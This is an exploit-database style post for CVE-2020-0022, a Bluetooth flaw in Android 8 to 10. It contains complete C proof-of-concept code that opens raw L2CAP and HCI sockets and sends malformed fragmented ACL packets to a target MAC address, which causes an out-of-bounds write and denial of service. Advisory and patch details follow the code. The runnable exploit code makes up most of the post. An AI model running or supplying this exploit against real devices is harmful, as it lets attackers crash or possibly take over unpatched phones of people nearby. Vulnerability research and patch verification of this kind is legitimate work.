Android suffers from a bluetooth remote denial of service vulnerability.
230fb8c28ca8d3e3a01983332d7fa194# Exploit Title: Critical Bluetooth Vulnerability in Android (CVE-2020-0022) - Remote DoS
# Author: nu11secur1ty
# Date: 2020-03-24
# Vendor: Android
# Link:
https://github.com/nu11secur1ty/Andr01dExploits/tree/master/CVE-2020-0022
# CVE: CVE-2020-0022
[+] Credits: Ventsislav Varbanovski (@ nu11secur1ty)
[+] Website: https://www.nu11secur1ty.com/
[+] Source: readme from GitHUB
[+] twitter.com/nu11secur1ty
[Exploit Program Code]
/*
* gcc -lbluetooth poc.c -o poc
* sudo ./p0c_blue MAC_ADDR
*/
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <sys/socket.h>
#include <sys/select.h>
#include <bluetooth/bluetooth.h>
#include <bluetooth/l2cap.h>
#include <bluetooth/hci.h>
#include <bluetooth/hci_lib.h>
#include <errno.h>
#include <unistd.h>
#include <sys/uio.h>
int hci_send_acl_data(int hci_socket, uint16_t hci_handle, uint8_t *data,
uint16_t data_length,uint16_t, uint16_t);
int main(int argc,char **argv) {
bdaddr_t dst_addr;
if (argc != 2){
printf("usage: ./p0c_blue MAC_ADDR\n");
exit(1);
}
str2ba(argv[1], &dst_addr);
struct hci_dev_info di;
// Get HCI Socket
printf("\nCreating HCI socket...\n");
int hci_device_id = hci_get_route(NULL);
int hci_socket = hci_open_dev(hci_device_id);
if(hci_devinfo(hci_device_id,&di)< 0){
perror("devinfo");
exit(1);
}
uint16_t hci_handle;
// -------- L2CAP Socket --------
// local addr
struct l2cap_conninfo l2_conninfo;
int l2_sock;
struct sockaddr_l2 laddr, raddr;
laddr.l2_family = AF_BLUETOOTH;
laddr.l2_bdaddr = di.bdaddr;
laddr.l2_psm = htobs(0x1001);
laddr.l2_cid = htobs(0x0040);
// remote addr
memset(&raddr, 0, sizeof(raddr));
raddr.l2_family = AF_BLUETOOTH;
raddr.l2_bdaddr = dst_addr;
// create socket
printf("\nCreating l2cap socket...\n");
if ((l2_sock = socket(PF_BLUETOOTH, SOCK_RAW, BTPROTO_L2CAP)) < 0){
perror("create l2cap socket");
exit(1);
}
// bind and connect
bind(l2_sock, (struct sockaddr *)&laddr, sizeof(laddr));
if(connect(l2_sock, (struct sockaddr *)&raddr, sizeof(raddr))<0){
perror("connect");
exit(1);
}
socklen_t l2_conninfolen = sizeof(l2_conninfo);
getsockopt(l2_sock, SOL_L2CAP, L2CAP_CONNINFO, &l2_conninfo,
&l2_conninfolen);
hci_handle = l2_conninfo.hci_handle;
printf("fuck%d", hci_handle);
// -------- L2CAP Socket --------
// HCI Connect
printf("\nCreating a HCI BLE connection...\n");
printf("\nPrepare to send packet\n");
uint16_t datalen = 33;
uint16_t _bs_l2cap_len = htobs(datalen);
uint16_t _bs_cid = htobs(0x0001);
uint8_t packet[4 + datalen + 0x1000];
memcpy(&packet[0],&_bs_l2cap_len,2);
memcpy(&packet[2],&_bs_cid,2);
memset(&packet[4], 0x99, datalen+0x1000);
int fl = 36;
int i =0 ;
hci_send_acl_data(hci_socket, hci_handle, &packet[i] , fl,0x2, fl );
i+=fl;
printf("\nSent fisrt packet\n");
hci_send_acl_data(hci_socket, hci_handle, &packet[i] , 300,0x1, 300);
printf("\nClosing HCI socket...\n");
close(hci_socket);
printf("\nClosing l2cap socket...\n");
close(l2_sock);
return 0;
}
int hci_send_acl_data(int hci_socket, uint16_t hci_handle, uint8_t *data,
uint16_t data_length, uint16_t PBflag, uint16_t dlen){
uint8_t type = HCI_ACLDATA_PKT;
uint16_t BCflag = 0x0000; // Broadcast flag
//uint16_t PBflag = 0x0002; // Packet Boundary flag
uint16_t flags = ((BCflag << 2) | PBflag) & 0x000F;
hci_acl_hdr hd;
hd.handle = htobs(acl_handle_pack(hci_handle, flags));
//hd.dlen = (data_length);
hd.dlen = dlen;
struct iovec iv[3];
int ivn = 3;
iv[0].iov_base = &type; // Type of operation
iv[0].iov_len = 1; // Size of ACL operation flag
iv[1].iov_base = &hd; // Handle info + flags
iv[1].iov_len = HCI_ACL_HDR_SIZE; // L2CAP header length + data
length
iv[2].iov_base = data; // L2CAP header + data
iv[2].iov_len = (data_length); // L2CAP header length + data
length
while (writev(hci_socket, iv, ivn) < 0) {
if (errno == EAGAIN || errno == EINTR)
continue;
perror("writev");
return -1;
}
return 0;
}
[Video]
https://www.youtube.com/watch?v=9C0bz-GiVUI
[Vulnerability Type]
Remote DoS
[CVE Reference]
In reassemble_and_dispatch of packet_fragmenter.cc, there is possible out
of bounds write due to an incorrect bounds calculation.
This could lead to remote code execution over Bluetooth with no additional
execution privileges needed.
User interaction is not needed for exploitation.Product: AndroidVersions:
Android-8.0 Android-8.1 Android-9 Android-10Android ID: A-143894715
[Security Issue]
The Android Security Bulletin contains details of security vulnerabilities
affecting Android devices. Security patch levels of 2020-02-05 or later
address all of these issues. To learn how to check a device's security
patch level, see Check and update your Android version.
Android partners are notified of all issues at least a month before
publication. Source code patches for these issues have been released to the
Android Open Source Project (AOSP) repository and linked from this
bulletin. This bulletin also includes links to patches outside of AOSP.
The most severe of these issues is a critical security vulnerability in the
System component that could enable a remote attacker using a specially
crafted transmission to execute arbitrary code within the context of a
privileged process. The severity assessment is based on the effect that
exploiting the vulnerability would possibly have on an affected device,
assuming the platform and service mitigations are turned off for
development purposes or if successfully bypassed.
Refer to the Android and Google Play Protect mitigations section for
details on the Android security platform protections and Google Play
Protect, which improve the security of the Android platform.
[Disclosure Timeline]
Published February 3, 2020 | Updated February 5, 2020
[+] Disclaimer
Disclaimer: The entry creation date may reflect when the CVE ID was
allocated or reserved,
and does not necessarily indicate when this vulnerability was discovered,
shared with the affected vendor, publicly disclosed, or updated in CVE.
FIX:
-
-
- Fix on OS 10
CVE References Type Severity Updated
AOSP versions
-------------------------------------------------------------------------------------------------
CVE-2020-0022 A-143894715 DoS Moderate 10
-
-
- Table:
https://source.android.com/security/bulletin/2020-02-01
@nu11secur1ty